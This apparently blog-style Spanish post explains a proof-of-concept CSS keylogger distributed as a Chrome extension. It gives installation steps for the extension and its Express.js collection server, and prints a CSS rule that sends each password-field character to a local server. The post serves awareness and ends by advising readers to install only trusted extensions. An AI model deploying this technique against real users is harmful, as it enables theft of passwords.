Me ha sorprendido el ver hasta dónde llega el ingenio de algunas personas apasionadas de la (in)seguridad informática al ver este Keylogger en CSS. El programa es funcional aunque necesita de ciertos requisitos que veremos a continuación.
El autor del código de ejemplo es Max Chehab y nos demuestra cómo podemos explotar algunas funcionalidades propias de CSS para capturar pulsaciones de teclado y así crear un Keylogger.
Explotando las habilidades de CSS para crear un Keylogger.
En primner lugar, nos dirigimos a la página de GitHub donde encontramos todo el código de ejemplo.
Si leemos las instrucciones detenidamente, vemos que en primer lugar hay que instalar la extensión en Chrome y después levantar un servidor Express.js que instalaremos con el gestor de paquetes Yarn.
Instrucciones de la instalación manual de la extensión de Chrome.
- Descargamos el repositorio
https://github.com/maxchehab/CSS-Keylogging
.
- Ejecutamos el navegador Chrome y abrimos la URL
chrome://extensions
.
- Verificar que el “Modo de desarrollador” está activado (esta opción la encontramos en la parte superior derecha).
- Seleccionamos la opción "Cargar Descomprimida" y seleccionamos la carpeta donde están los archivos descargados de la extensión
css-keylogger-extension
.
Instrucciones de instalación de Express.js con Yarn.
El propio repositorio GitHub contiene un archivo yarn.lock
que gestionará todas las dependencias para instalar Express.js. Bastará con utilizar el gestor de paquetes Yarn ejecutando los comandos:
Ahora podrás comprobar que cuando introduces tu contraseña en webs como Instagram, esta será capturada.
¿Dónde está el truco?
Para sacar provecho de esta técnica, lo que se hace es realizar peticiones HTTP externas para tratar de cargar imágenes cada vez que introduce un carácter en el campo password. El siguiente fragmento de código deja más claro el funcionamiento:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Todo esto me demuestra una vez más que los sistemas de extensiones de los navegadores siguen teniendo muchas fugas de seguridad. Así que el consejo del día es que instales únicamente extensiones de confianza en tu navegador.